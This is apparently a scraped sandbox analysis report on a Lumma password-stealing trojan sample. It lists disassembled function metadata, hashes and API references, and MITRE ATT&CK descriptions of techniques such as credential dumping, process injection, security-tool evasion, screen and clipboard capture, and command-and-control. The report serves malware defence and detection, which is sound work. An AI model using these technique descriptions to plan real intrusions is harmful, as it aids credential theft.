Instruction ID: 58e8886864d4165c492f53d94ac2ec571c49354c70431e2038b14aa9fdf686d5
Opcode Fuzzy Hash: 182ff49e939f1398294b9512b1f3ca232d73da5c2630492eafcdb88c1e4c075a
Instruction Fuzzy Hash: 901101B4A193804FD784DF25D89052BBAB4EB8A348F88AC2CE492E7350D738D5028F06

Function 00432088 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c33f2bce48ae135c24f5ce7bd25ad00db60cde2b19ebbe6d6e038a32b2be15
Instruction ID: 73ba8bc07e1ba15521088f6cccb2f0558f02181132062fbfe265993b15d3b92d
Opcode Fuzzy Hash: e9c33f2bce48ae135c24f5ce7bd25ad00db60cde2b19ebbe6d6e038a32b2be15
Instruction Fuzzy Hash: 6A11E0B45087408FD750DF28C48878ABBE0FB09304F1488ADE899CB346D77AE58ACB91

Function 0042AA60 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96ccec21401edb20b9aceaf9688996d9eeb2ecb12b31d1f3d13a469f16b764ac
Instruction ID: ca966f37c3a7dbe55b207b2fb1d7652738fa600dc0873f2892cf3005b09500ed
Opcode Fuzzy Hash: 96ccec21401edb20b9aceaf9688996d9eeb2ecb12b31d1f3d13a469f16b764ac
Instruction Fuzzy Hash: 6501BCB090D3849BD3449F65C8A571BFFE4AB82318F906D2DF1E28B290C7B98409CF56

Function 004340F6 Relevance: 26.4, APIs: 1, Strings: 14, Instructions: 104COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043413C

Strings

q, xrefs: 00434181
O, xrefs: 0043418B
u, xrefs: 0043416D
@, xrefs: 004341CC
M, xrefs: 00434195
K, xrefs: 0043419F
A, xrefs: 004341D1
s, xrefs: 00434177
C, xrefs: 004341C7
I, xrefs: 004341A9
G, xrefs: 004341B3
y, xrefs: 00434159
E, xrefs: 004341BD
w, xrefs: 00434163

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: InitVariant
String ID: @$A$C$E$G$I$K$M$O$q$s$u$w$y
API String ID: 1927566239-3739842773
Opcode ID: 15324b135b59c7a619bb96e9100ef1d9eddda05e6b7ce0652f1398ce6b05658a
Instruction ID: cfa59d3dd61b8fc2c8280ba4920ca822f29ebbc03a68f38a0becb94220d4ac66
Opcode Fuzzy Hash: 15324b135b59c7a619bb96e9100ef1d9eddda05e6b7ce0652f1398ce6b05658a
Instruction Fuzzy Hash: 8A51247150C7D08AE325CB28845879FBFD16BE6324F184A9DE4E94B3E2C7B88845C767

Function 004342D4 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004342E2
VariantInit.OLEAUT32 ref: 004342F5

Strings

-, xrefs: 0043433F
!, xrefs: 00434367
3, xrefs: 00434349
?, xrefs: 00434371
-, xrefs: 00434317
8, xrefs: 00434335
(, xrefs: 0043430D
2, xrefs: 0043432B
7, xrefs: 0043435D
=, xrefs: 00434321

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$($-$-$2$3$7$8$=$?
API String ID: 2610073882-1101923984
Opcode ID: 55881a7127c08f3ae581755080e2831ff2bafeda491c0d68bfe4e442cdeeea3e
Instruction ID: ce8d9142a08082602957e39f3b723dd1a5a75d625bc2628654832b93868514b7
Opcode Fuzzy Hash: 55881a7127c08f3ae581755080e2831ff2bafeda491c0d68bfe4e442cdeeea3e
Instruction Fuzzy Hash: DE41487150C7C18FD3219B38884869EBFE16BA7324F094A9DE5E4873D2C7B58506C753

Function 0041CBE6 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 273threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 0041CCA3

Strings

;:54, xrefs: 0041CD97
TU, xrefs: 0041CE9F

Memory Dump Source

Source File: 00000004.00000002.2913772085.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AddInProcess32.jbxd

Similarity

API ID: ProcessThreadWindow
String ID: ;:54$TU
API String ID: 1653199695-2129887498
Opcode ID: 4af5c4ad50dbf8e3ea00b90cc7a03d7b7d5ae7b00e7b789710216c4470d5e8ae
Instruction ID: 994451c890a539b70b135d86ab13cbbfb130f4c9854e9402de8351a222cc8c75
Opcode Fuzzy Hash: 4af5c4ad50dbf8e3ea00b90cc7a03d7b7d5ae7b00e7b789710216c4470d5e8ae
Instruction Fuzzy Hash: 8491CE75608301DFD714CF24DC8166BB7B2FF8A719F19882DE584872A1E738E845CB8A

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe

Function 060CE848 Relevance: 11.0, Strings: 8, Instructions: 972
COMMON

Function 08013E6E Relevance: 7.9, Strings: 4, Instructions: 2917
COMMON

Function 07852385 Relevance: 5.5, Instructions: 5508
COMMON

Function 078523B0 Relevance: 5.5, Instructions: 5499
COMMON

Function 077B3118 Relevance: 5.2, Instructions: 5237
COMMON

Function 080AB450 Relevance: 5.2, Strings: 4, Instructions: 190
COMMON

Function 00A42140 Relevance: 4.0, Strings: 3, Instructions: 260
COMMON

Function 0536B228 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre